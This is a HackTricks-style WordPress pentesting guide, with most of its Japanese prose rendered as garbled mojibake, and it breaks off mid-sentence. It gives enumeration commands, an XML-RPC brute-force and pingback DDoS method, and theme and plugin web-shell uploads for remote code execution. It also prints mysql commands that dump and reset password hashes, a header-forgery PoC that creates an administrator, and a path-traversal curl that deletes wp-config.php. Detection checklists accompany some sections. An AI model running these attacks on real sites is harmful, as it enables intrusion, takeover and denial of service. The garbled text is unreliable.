Wordpress
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Basic Information
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Themes files can be found in /wp-content/themes/, ãã®ãã theme ã®äžéšã® php ã倿Žã㊠RCE ãåŸãå Žåã¯ãããããã®ãã¹ã䜿ããŸããäŸãã°: theme twentytwelve ã䜿çšãããšã次ã®å Žæã§ 404.php ãã¡ã€ã«ã« access ã§ããŸã: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
wp-config.phpã«ã¯ããŒã¿ããŒã¹ã® root ãã¹ã¯ãŒããå«ãŸããŠããããšããããŸãã -
ãã§ãã¯ãã¹ãããã©ã«ãã®ãã°ã€ã³ãã¹: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.phplicense.txtã«ã¯ã€ã³ã¹ããŒã«ãããŠãã WordPress ã®ããŒãžã§ã³ãªã©æçšãªæ å ±ãå«ãŸããŠããŸããwp-activate.phpã¯æ°ãã WordPress ãµã€ããã»ããã¢ããããéã®ã¡ãŒã«æå¹åããã»ã¹ã«äœ¿çšãããŸãã- Login folders (may be renamed to hide it):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpã¯ãHTTP ããã©ã³ã¹ããŒãæ©æ§ãXML ããšã³ã³ãŒãã£ã³ã°æ©æ§ãšããŠããŒã¿ãéåä¿¡ãã WordPress ã®æ©èœã衚ããã¡ã€ã«ã§ãããã®çš®ã®é信㯠WordPress ã® REST API ã«çœ®ãæããããŠããŸããwp-contentãã©ã«ãã¯ãã©ã°ã€ã³ãããŒããæ ŒçŽãããäž»èŠãã£ã¬ã¯ããªã§ããwp-content/uploads/ã¯ãã©ãããã©ãŒã ã«ã¢ããããŒãããããã¡ã€ã«ãä¿åããããã£ã¬ã¯ããªã§ããwp-includes/ã¯èšŒææžããã©ã³ããJavaScript ãã¡ã€ã«ããŠã£ãžã§ãããªã©ã³ã¢ãã¡ã€ã«ãæ ŒçŽããããã£ã¬ã¯ããªã§ããwp-sitemap.xml㯠WordPress ããŒãžã§ã³ 5.5 以éã§ããã¹ãŠã®å ¬éæçš¿ããã³å ¬éã¯ãšãªå¯èœãªæçš¿ã¿ã€ããšã¿ã¯ãœãããŒãå«ã sitemap XML ãã¡ã€ã«ãçæããŸãã
Post exploitation
wp-config.phpãã¡ã€ã«ã«ã¯ãããŒã¿ããŒã¹åãããŒã¿ããŒã¹ãã¹ãããŠãŒã¶ãŒåãšãã¹ã¯ãŒããèªèšŒããŒãšãœã«ããããŒã¿ããŒã¹ããŒãã«ã®ãã¬ãã£ãã¯ã¹ãªã©ãWordPress ãããŒã¿ããŒã¹ã«æ¥ç¶ããããã«å¿ èŠãªæ å ±ãå«ãŸããŠããŸãããã®æ§æãã¡ã€ã«ã¯ DEBUG ã¢ãŒããæå¹ã«ããããã«ã䜿çšã§ãããã©ãã«ã·ã¥ãŒãã£ã³ã°ã«åœ¹ç«ã€ããšããããŸãã
Users Permissions
- 管çè (Administrator)
- ç·šéè (Editor): èªåãšä»äººã®æçš¿ãå ¬éããã³ç®¡çã§ããŸã
- æçš¿è (Author): èªåã®æçš¿ãå ¬éããã³ç®¡çã§ããŸã
- å¯çš¿è (Contributor): æçš¿ãäœæããã³ç®¡çã§ããŸãããå ¬éããããšã¯ã§ããŸãã
- 賌èªè (Subscriber): æçš¿ãé²èЧããèªåã®ãããã£ãŒã«ãç·šéã§ããŸã
Passive Enumeration
Get WordPress version
/license.txt ãŸã㯠/readme.html ãã¡ã€ã«ãèŠã€ããããã確èªããŠãã ãã
ããŒãžã® source code å ïŒäŸ: https://wordpress.org/support/article/pages/ïŒ:
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS link files
.png)
- JavaScript files
.png)
ãã©ã°ã€ã³ãååŸ
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
ããŒããååŸ
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
äžè¬çãªããŒãžã§ã³ã®æœåº
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
ã¢ã¯ãã£ãåæ
ãã©ã°ã€ã³ãšããŒã
ãããããã¹ãŠã®ãã©ã°ã€ã³ãšããŒããèŠã€ããããšã¯ã§ããŸããããã¹ãŠãçºèŠããã«ã¯ãç©æ¥µçã« Brute Force ã§ãã©ã°ã€ã³ãšããŒãã®ãªã¹ããåæããå¿ èŠããããŸãïŒå¹žãã«ãããããã®ãªã¹ããå«ãèªååããŒã«ãååšããŸãïŒã
ãŠãŒã¶ãŒ
- ID Brute: WordPressãµã€ãããæå¹ãªãŠãŒã¶ãååŸããã«ã¯ãBrute Forcing users IDsãè¡ããŸã:
curl -s -I -X GET http://blog.example.com/?author=1
ã¬ã¹ãã³ã¹ã 200 ãŸã㯠30X ã®å Žåããã® id 㯠æå¹ ã§ããã¬ã¹ãã³ã¹ã 400 ã®å Žåããã® id 㯠ç¡å¹ ã§ãã
- wp-json: ãŠãŒã¶ãŒæ å ±ãã¯ãšãªã«ãã£ãŠååŸããããšãã§ããŸã:
curl http://blog.example.com/wp-json/wp/v2/users
ãŠãŒã¶ãŒã®æ
å ±ãæããã«ã§ããå¥ã® /wp-json/ endpoint ã¯æ¬¡ã®ãšããã§ã:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. Only information about the users that has this feature enable will be provided.
ãŸãã/wp-json/wp/v2/pages 㯠IP ã¢ãã¬ã¹ã leak ããå¯èœæ§ãããããšã«ã泚æããŠãã ããã
- Login username enumeration:
/wp-login.phpã§ãã°ã€ã³ããéã衚瀺ããã ã¡ãã»ãŒãž ããæå®ãã ãŠãŒã¶ãŒåãååšãããã©ãã ã«ãã£ãŠ ç°ãªã ããšããããŸãã
XML-RPC
ãã xml-rpc.php ãæå¹ã§ããã°ãcredentials brute-force ãè¡ã£ãããä»ã®ãªãœãŒã¹ã«å¯Ÿã㊠DoS æ»æã仿ããããã«å©çšãããã§ããŸãã(äŸãã°ããã®ããã»ã¹ã¯ using this ã䜿ã£ãŠèªååã§ããŸãã)
æå¹ãã©ããã確èªããã«ã¯ã/xmlrpc.php ã«ã¢ã¯ã»ã¹ããŠä»¥äžã®ãªã¯ãšã¹ããéä¿¡ããŠã¿ãŠãã ããïŒ
ãã§ãã¯
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

èªèšŒæ å ± Bruteforce
wp.getUserBlogs, wp.getCategories ãŸã㯠metaWeblog.getUsersBlogs ã¯èªèšŒæ
å ±ã brute-force ããããã«äœ¿ããã¡ãœããã®ããã€ãã§ãããããã®ãããããèŠã€ããããæ¬¡ã®ãããªãªã¯ãšã¹ããéãããšãã§ããŸã:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
èªèšŒæ å ±ãæå¹ã§ãªãå Žåãã¡ãã»ãŒãž âIncorrect username or passwordâ 㯠200 ã³ãŒãã®ã¬ã¹ãã³ã¹å ã«è¡šç€ºãããã¯ãã§ãã
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
æ£ããèªèšŒæ å ±ã䜿çšãããšãã¡ã€ã«ãã¢ããããŒãã§ããŸããã¬ã¹ãã³ã¹å ã«ãã¹ã衚瀺ãããŸãïŒhttps://gist.github.com/georgestephanis/5681982ïŒã
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
ãŸããåããªã¯ãšã¹ãã§è€æ°ã®credentialsã詊ãããããããé«éãªæ¹æ³ãšã㊠system.multicall ã䜿ã£ãŠcredentialsãbrute-forceã§ããŸã:
.png)
2FAããã€ãã¹
ãã®æ¹æ³ã¯ããã°ã©ã åãã§äººéåãã§ã¯ãªããå€ããã2FAããµããŒãããŠããŸããããããã£ãŠãæå¹ãªcredsãæã£ãŠããŠãã¡ã€ã³ã®å ¥å£ã2FAã§ä¿è·ãããŠããå Žåãxmlrpc.phpãæªçšããŠãããã®credsã§2FAããã€ãã¹ããŠãã°ã€ã³ã§ããå¯èœæ§ããããŸãããã¹ãŠã®ã³ã³ãœãŒã«æäœãè¡ããããã§ã¯ãªãç¹ã«æ³šæããŠãã ããããIppsecã説æããŠããããã«RCEã«å°éã§ããå ŽåããããŸã: https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
äžèЧå
ã« pingback.ping ãããã°ãWordpress ã«ä»»æã® host/port ãžãªã¯ãšã¹ããéãããããšãã§ããŸãã
ãã㯠thousands ã® Wordpress sites ã«åäžã® location ãž access ãããããã«äœ¿ãïŒãã® location ã§ DDoS ãçºçããŸãïŒããŸã㯠Wordpress ã䜿ã£ãŠå
éš network ã® scan ãè¡ãããããã«äœ¿ãããšãã§ããŸãïŒä»»æã® port ãæå®å¯èœïŒã
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

ããfaultCodeã®å€ã0ãã倧ããïŒ17ïŒã®å Žåãããã¯ãã®ããŒããéããŠããããšãæå³ããŸãã
åã®ã»ã¯ã·ã§ã³ã§ã®**system.multicall**ã®äœ¿çšæ³ãåç
§ãããã®ã¡ãœãããæªçšããŠDDoSãåŒãèµ·ããæ¹æ³ãåŠãã§ãã ããã
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php ã® DoS
ãã®ãã¡ã€ã«ã¯éåžž WordPress ãµã€ãã®ã«ãŒãã«ååšããŸã: /wp-cron.php
ãã®ãã¡ã€ã«ã accessed ããããšãâheavyâ 㪠MySQL query ãå®è¡ããããããattackers ã«ãã£ãŠ DoS ã cause ããããã«å©çšãããå¯èœæ§ããããŸãã
ãŸããããã©ã«ãã§ã¯ wp-cron.php ã¯åããŒãžããŒãæïŒã¯ã©ã€ã¢ã³ããä»»æã®WordpressããŒãžããªã¯ãšã¹ããããã³ã«ïŒåŒã³åºãããããããã©ãã£ãã¯ãå€ããµã€ãã§ã¯åé¡ïŒDoSïŒãåŒãèµ·ããããšããããŸãã
Wp-Cron ãç¡å¹åãããã¹ãå ã§å®æçã«å¿ èŠãªåŠçãå®è¡ããå®éã® cronjob ãäœæããããšãæšå¥šããŸãïŒåé¡ãåŒãèµ·ãããªãããã«ïŒã
/wp-json/oembed/1.0/proxy - SSRF
https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net ã«ã¢ã¯ã»ã¹ããŠã¿ããšãWorpress ãµã€ããããªãã«ãªã¯ãšã¹ããéãå¯èœæ§ããããŸãã
ããã¯åäœããªãå Žåã®ã¬ã¹ãã³ã¹ã§ã:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
ãã®ããŒã«ã¯ methodName: pingback.ping ãšãã¹ /wp-json/oembed/1.0/proxy ããã§ãã¯ããååšããå Žåã¯ããããæªçšããããšããŸãã
èªåããŒã«
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
ããããäžæžãããŠã¢ã¯ã»ã¹ãååŸãã
å®éã®æ»æãšããããè峿¬äœã®äºäŸã§ããCTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man ã§ã¯ä»»æã® wordpress ãã¡ã€ã«ã®1ããããå転ã§ããŸãããäŸãã°ããã¡ã€ã« /var/www/html/wp-includes/user.php ã®äœçœ® 5389 ãå転ã㊠NOT (!) ã NOP ã«ã§ããŸãã
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
䜿çšãããŠããããŒãã® php ã倿ŽããïŒadmin credentials ãå¿ èŠïŒ
Appearance â Theme Editor â 404 TemplateïŒå³åŽïŒ
php shell ã®å 容ã«å€æŽãã:
.png)
æŽæ°ããããŒãžã«ã©ãã¢ã¯ã»ã¹ããããã€ã³ã¿ãŒãããã§èª¿ã¹ãŠãã ãããä»åã¯æ¬¡ã®å Žæã«ã¢ã¯ã»ã¹ããŸã: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
䜿çšã§ããŸã:
use exploit/unix/webapp/wp_admin_shell_upload
ã»ãã·ã§ã³ãååŸããããã«ã
Plugin RCE
PHP plugin
It may be possible to upload .php files as a plugin.
äŸãã°æ¬¡ã®ããã« php ããã¯ãã¢ãäœæããŸã:
.png)
æ¬¡ã«æ°ãã plugin ã远å ããŸã:
.png)
plugin ãã¢ããããŒãã㊠Install Now ãæŒããŸã:
.png)
Procced ãã¯ãªãã¯:
.png)
ããããäœãèµ·ããªãããã«èŠããŸãããMedia ã«ç§»åãããšã¢ããããŒãããã shell ãèŠããŸã:
.png)
ããã«ã¢ã¯ã»ã¹ãããš reverse shell ãå®è¡ããããã® URL ã衚瀺ãããŸã:
.png)
Uploading and activating malicious plugin
ãã®æ¹æ³ã¯ãè匱ã§ããããšãç¥ãããŠããæªæãã plugin ãã€ã³ã¹ããŒã«ããweb shell ãååŸããããã«æªçšããããšãå«ã¿ãŸããããã»ã¹ã¯ WordPress ããã·ã¥ããŒããã以äžã®ããã«å®è¡ãããŸã:
- Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
- Plugin Installation:
- WordPress ããã·ã¥ããŒãã«ç§»åãã
Dashboard > Plugins > Upload Pluginã«é²ã¿ãŸãã - ããŠã³ããŒããããã©ã°ã€ã³ã® zip ãã¡ã€ã«ãã¢ããããŒãããŸãã
- Plugin Activation: ãã©ã°ã€ã³ãæ£åžžã«ã€ã³ã¹ããŒã«ãããããããã·ã¥ããŒãããæå¹åããå¿ èŠããããŸãã
- Exploitation:
- ãã©ã°ã€ã³ âreflex-galleryâ ãã€ã³ã¹ããŒã«ããæå¹åãããŠãããšãè匱ã§ããããšãç¥ãããŠãããæªçšãå¯èœã§ãã
- Metasploit framework ã¯ãã®è匱æ§çšã® exploit ãæäŸããŠããŸããé©åãªã¢ãžã¥ãŒã«ãããŒãããç¹å®ã®ã³ãã³ããå®è¡ããããšã§ meterpreter ã»ãã·ã§ã³ã確ç«ãããµã€ããžã®äžæ£ã¢ã¯ã»ã¹ãå¯èœã«ãªããŸãã
- ãã㯠WordPress ãµã€ããæªçšããå€ãã®æ¹æ³ã®ãã¡ã®äžäŸã«éããŸããã
ã³ã³ãã³ãã«ã¯ããã©ã°ã€ã³ã®ã€ã³ã¹ããŒã«ãšæå¹åã®æé ã瀺ã WordPress ããã·ã¥ããŒãã®èŠèŠçãªè£å©ãå«ãŸããŠããŸãããã ãããã®ãããªè匱æ§ãæªçšããããšã¯ãé©åãªèš±å¯ãªãã«ã¯éæ³ã§ããéå«ççã§ããããšã«æ³šæããŠãã ããããã®æ å ±ã¯è²¬ä»»ãæã£ãŠãæç¢ºãªèš±å¯ã®ãããããã¬ãŒã·ã§ã³ãã¹ããªã©ã®åæ³çãªæèã§ã®ã¿äœ¿çšããŠãã ããã
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike 㯠WordPress ã® Cross-Site Scripting (XSS) è匱æ§ã Remote Code Execution (RCE) ãä»ã®é倧ãªè匱æ§ã«ãšã¹ã«ã¬ãŒããããããã«èšèšãããã¹ã¯ãªããã§ãã詳现㯠this post ãåç §ããŠãã ãããWordpress Versions 6.X.X, 5.X.X and 4.X.X ããµããŒããã以äžãå¯èœã«ããŸã:
- Privilege Escalation: WordPress ã«ãŠãŒã¶ãŒãäœæããŸãã
- (RCE) Custom Plugin (backdoor) Upload: ã«ã¹ã¿ã ãã©ã°ã€ã³ïŒããã¯ãã¢ïŒã WordPress ã«ã¢ããããŒãããŸãã
- (RCE) Built-In Plugin Edit: WordPress å èµã®ãã©ã°ã€ã³ãç·šéããŸãã
- (RCE) Built-In Theme Edit: WordPress ã®å èµããŒããç·šéããŸãã
- (Custom) Custom Exploits: ãµãŒãããŒãã£è£œ WordPress ãã©ã°ã€ã³/ããŒãåãã®ã«ã¹ã¿ã ãšã¯ã¹ããã€ãã
Post Exploitation
ãŠãŒã¶ãŒåãšãã¹ã¯ãŒããæœåºãã:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
admin password ã倿Žãã:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress ãã©ã°ã€ã³ Pentest
æ»æå¯Ÿè±¡
Wordpressãã©ã°ã€ã³ãã©ã®ããã«æ©èœãå ¬éããããç¥ãããšã¯ããã®æ©èœã®è匱æ§ãçºèŠããããã«éèŠã§ãããã©ã°ã€ã³ãæ©èœãå ¬éããæ¹æ³ã¯ä»¥äžã®ç®æ¡æžãã§ç¢ºèªã§ããè匱ãªãã©ã°ã€ã³ã®ããã€ãã®äŸã¯this blog postã«ãããŸãã
wp_ajax
ãã©ã°ã€ã³ã颿°ããŠãŒã¶ãŒã«å ¬éããæ¹æ³ã®äžã€ã¯ãAJAXãã³ãã©ãä»ããããšã§ãããããã¯ããžãã¯ãèªå¯ããŸãã¯èªèšŒã®ãã°ãå«ãå¯èœæ§ããããŸããããã«ããããã®é¢æ°ãèªèšŒãšèªå¯ã®äž¡æ¹ããWordpressã®nonceã®ååšã«åºã¥ãããããšãããªãé »ç¹ã«ããããã®nonceã¯Wordpressã€ã³ã¹ã¿ã³ã¹ã«èªèšŒãããŠããä»»æã®ãŠãŒã¶ãŒãæã£ãŠããå¯èœæ§ãããïŒããŒã«ã«é¢ä¿ãªãïŒã
ãã©ã°ã€ã³å ã®é¢æ°ãå ¬éããããã«äœ¿ããã颿°ã¯æ¬¡ã®ãšããã§ãïŒ
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv ã䜿ããšããã®ãšã³ããã€ã³ãã¯ã©ã®ãŠãŒã¶ãŒããã§ãã¢ã¯ã»ã¹å¯èœã«ãªããŸãïŒèªèšŒãããŠããªããŠãŒã¶ãŒãå«ãïŒã
Caution
ããã«ã颿°ã
wp_verify_nonceã§ãŠãŒã¶ãŒã®èªå¯ã ãã確èªããŠããå Žåããã®é¢æ°ã¯ãŠãŒã¶ãŒããã°ã€ã³ããŠãããã©ããã確èªããã ãã§ãéåžžãŠãŒã¶ãŒã®ããŒã«ïŒæš©éïŒãŸã§ã¯ç¢ºèªããŸããããããã£ãŠãæš©éã®äœããŠãŒã¶ãŒã髿š©éã®æäœã«ã¢ã¯ã»ã¹ã§ããå¯èœæ§ããããŸãã
- REST API
Itâs also possible to expose functions from wordpress registering a rest AP using the register_rest_route function:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback ã¯ãç¹å®ã®ãŠãŒã¶ãŒã API ã¡ãœãããåŒã³åºãæš©éãæã£ãŠãããããã§ãã¯ããã³ãŒã«ããã¯é¢æ°ã§ãã
çµã¿èŸŒã¿ã® __return_true 颿°ã䜿ãããŠããå ŽåããŠãŒã¶ãŒæš©éãã§ãã¯ãåã«ã¹ãããããŸãã
- Direct access to the php file
ãã¡ãããWordpress 㯠PHP ã䜿çšããŠãããplugin å ã®ãã¡ã€ã«ã¯ Web ããçŽæ¥ã¢ã¯ã»ã¹å¯èœã§ãããã®ãããplugin ããã¡ã€ã«ã«ã¢ã¯ã»ã¹ããã ãã§èµ·åããèåŒ±ãªæ©èœãå ¬éããŠããå Žåãä»»æã®ãŠãŒã¶ãŒã«ãã£ãŠæªçšãããå¯èœæ§ããããŸãã
Trusted-header REST impersonation (WooCommerce Payments †5.6.1)
äžéšã® plugin ã¯å éšé£æºã reverse proxy ã®ããã« âtrusted headerâ ã®ã·ã§ãŒãã«ãããå®è£ ãããã® header ã REST ãªã¯ãšã¹ãã®çŸåšã®ãŠãŒã¶ãŒã³ã³ããã¹ããèšå®ããããã«äœ¿çšããŸãããããã® header ãäžæµã®ã³ã³ããŒãã³ãã«ãã£ãŠãªã¯ãšã¹ãã«å¯ŸããŠæå·åŠçã«çµã³ä»ããããŠããªãå Žåãæ»æè ã¯ãããåœè£ ããŠç®¡çè ãšããŠç¹æš©ã®ãã REST ã«ãŒãã«ã¢ã¯ã»ã¹ã§ããŸãã
- Impact: æªèªèšŒã® privilege escalation to admin â core users REST route ãä»ããŠæ°ãã administrator ãäœæããããšã§å®è¡ãããŸãã
- Example header:
X-Wcpay-Platform-Checkout-User: 1ïŒuser ID 1 ã匷å¶ãéåžžã¯æåã® administrator ã¢ã«ãŠã³ãïŒ - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- ãã©ã°ã€ã³ã¯ã¯ã©ã€ã¢ã³ãå¶åŸ¡ã®ããããèªèšŒç¶æ ã«ãããã³ã°ããæš©éãã§ãã¯ãã¹ãããããŸãã
- WordPress core ã¯ãã®ã«ãŒãã«
create_userscapability ãæåŸ ããŸãïŒãã©ã°ã€ã³ã®ããã¯ã¯ãããããçŽæ¥ current user ã³ã³ããã¹ããèšå®ããŠããããã€ãã¹ããŸãã
Expected success indicators
- äœæããããŠãŒã¶ãèšè¿°ãã JSON ããã£ä»ãã§ HTTP 201 ãè¿ãã
- æ°ãã管çè
ãŠãŒã¶ã
wp-admin/users.phpã«è¡šç€ºãããã
Detection checklist
- ãŠãŒã¶ã³ã³ããã¹ããèšå®ããããã«ã«ã¹ã¿ã ããããèªã
getallheaders(),$_SERVER['HTTP_...']ããŸãã¯ãã³ã㌠SDK ã grep ããïŒäŸ:wp_set_current_user(),wp_set_auth_cookie()ïŒã - å
ç¢ãª
permission_callbackãã§ãã¯ãæ¬ ãã代ããã«ãªã¯ãšã¹ããããã«äŸåããŠããç¹æš©ã³ãŒã«ããã¯ã® REST ç»é²ã確èªããã - REST ãã³ãã©å
ã§ããããå€ã®ã¿ã§ä¿è·ãããŠããã³ã¢ã®ãŠãŒã¶ç®¡ç颿°ïŒ
wp_insert_user,wp_create_userïŒã®äœ¿çšãæ¢ãã
wp_ajax_nopriv ãä»ããèªèšŒãããŠããªãä»»æã®ãã¡ã€ã«åé€ (Litho Theme <= 3.0)
WordPress ã®ããŒãããã©ã°ã€ã³ã¯ wp_ajax_ ãš wp_ajax_nopriv_ ããã¯ãéã㊠AJAX ãã³ãã©ãå
¬éããããšãå€ããnopriv ããªã¢ã³ãã䜿ããããš ã³ãŒã«ããã¯ã¯èªèšŒãããŠããªã蚪åè
ããå°éå¯èœ ã«ãªããããæ©å¯æ§ã®é«ãã¢ã¯ã·ã§ã³ã¯è¿œå ã§æ¬¡ãå®è£
ããå¿
èŠãããïŒ
- æš©éãã§ãã¯ïŒäŸïŒ
current_user_can()ãŸãã¯å°ãªããšãis_user_logged_in()ïŒãããã³ check_ajax_referer()/wp_verify_nonce()ã§æ€èšŒããã CSRF nonceãããã³- 峿 Œãªå ¥åã®ãµãã¿ã€ãº / æ€èšŒã
Litho multipurpose theme (< 3.1) 㯠Remove Font Family æ©èœã§ããã3ã€ã®å¶åŸ¡ãå¿ããŠãããçµæãšããŠæ¬¡ã®ã³ãŒãïŒç°¡ç¥åïŒãåºè·ããŠããïŒ
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
ãã®ã¹ããããã«ãã£ãŠå°å ¥ãããåé¡:
- Unauthenticated access â the
wp_ajax_nopriv_hook is registered. - No nonce / capability check â ä»»æã®èšªåè ã endpoint ã«ã¢ã¯ã»ã¹ã§ããã
- No path sanitisation â ãŠãŒã¶ãŒå¶åŸ¡ã®
fontfamilyæååããã£ã«ã¿ãªã³ã°ãªãã«ãã¡ã€ã«ã·ã¹ãã ãã¹ã«é£çµãããå€å žçãª../../ãã©ããŒãµã«ãå¯èœã«ããŠããã
Exploitation
æ»æè
ã¯åäžã® HTTP POST request ãéä¿¡ããããšã§ãuploads ããŒã¹ãã£ã¬ã¯ããªä»¥äžïŒéåžž <wp-root>/wp-content/uploads/ïŒã®ä»»æã®ãã¡ã€ã«ãŸãã¯ãã£ã¬ã¯ããªãåé€ã§ãã:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.
æ€åºãã§ãã¯ãªã¹ã
add_action( 'wp_ajax_nopriv_...')ã®ã³ãŒã«ããã¯ã§ãã¡ã€ã«ã·ã¹ãã ãã«ããŒïŒcopy(),unlink(),$wp_filesystem->delete()ãªã©ïŒãåŒã³åºããŠãããã®ã- ãµãã¿ã€ãºãããŠããªããŠãŒã¶å
¥åããã¹ã«é£çµããŠããç®æïŒ
$_POST,$_GET,$_REQUESTãæ¢ãïŒã check_ajax_referer()ãcurrent_user_can()/is_user_logged_in()ãååšããªãããšã
ã¹ããŒã«ããŒã«åŸ©å ãšèªå¯æ¬ åŠã«ããæš©éææ Œ (ASE âView Admin as Roleâ)
å€ãã®ãã©ã°ã€ã³ã¯ãå
ã®ããŒã«ã user meta ã«ä¿åããŠåŸã§åŸ©å
ã§ããããã«ãããview as roleããäžæçãªããŒã«åãæ¿ãæ©èœãå®è£
ããŠããŸãã埩å
åŠçããªã¯ãšã¹ããã©ã¡ãŒã¿ïŒäŸ: $_REQUEST['reset-for']ïŒãšãã©ã°ã€ã³ãä¿æãããªã¹ãã ãã«äŸåããæš©éãã§ãã¯ãæå¹ãª nonce ã確èªããŠããªãå Žåãããã¯åçŽçãªæš©éææ Œã«ãªããŸãã
å®éã®äŸãšããŠãAdmin and Site Enhancements (ASE) ãã©ã°ã€ã³ïŒâ€ 7.6.2.1ïŒã§çºèŠãããŸãããreset ãã©ã³ãã¯ããŠãŒã¶åãå
éšé
å $options['viewing_admin_as_role_are'] ã«ååšããå Žåã« reset-for=<username> ã«åºã¥ããŠããŒã«ã埩å
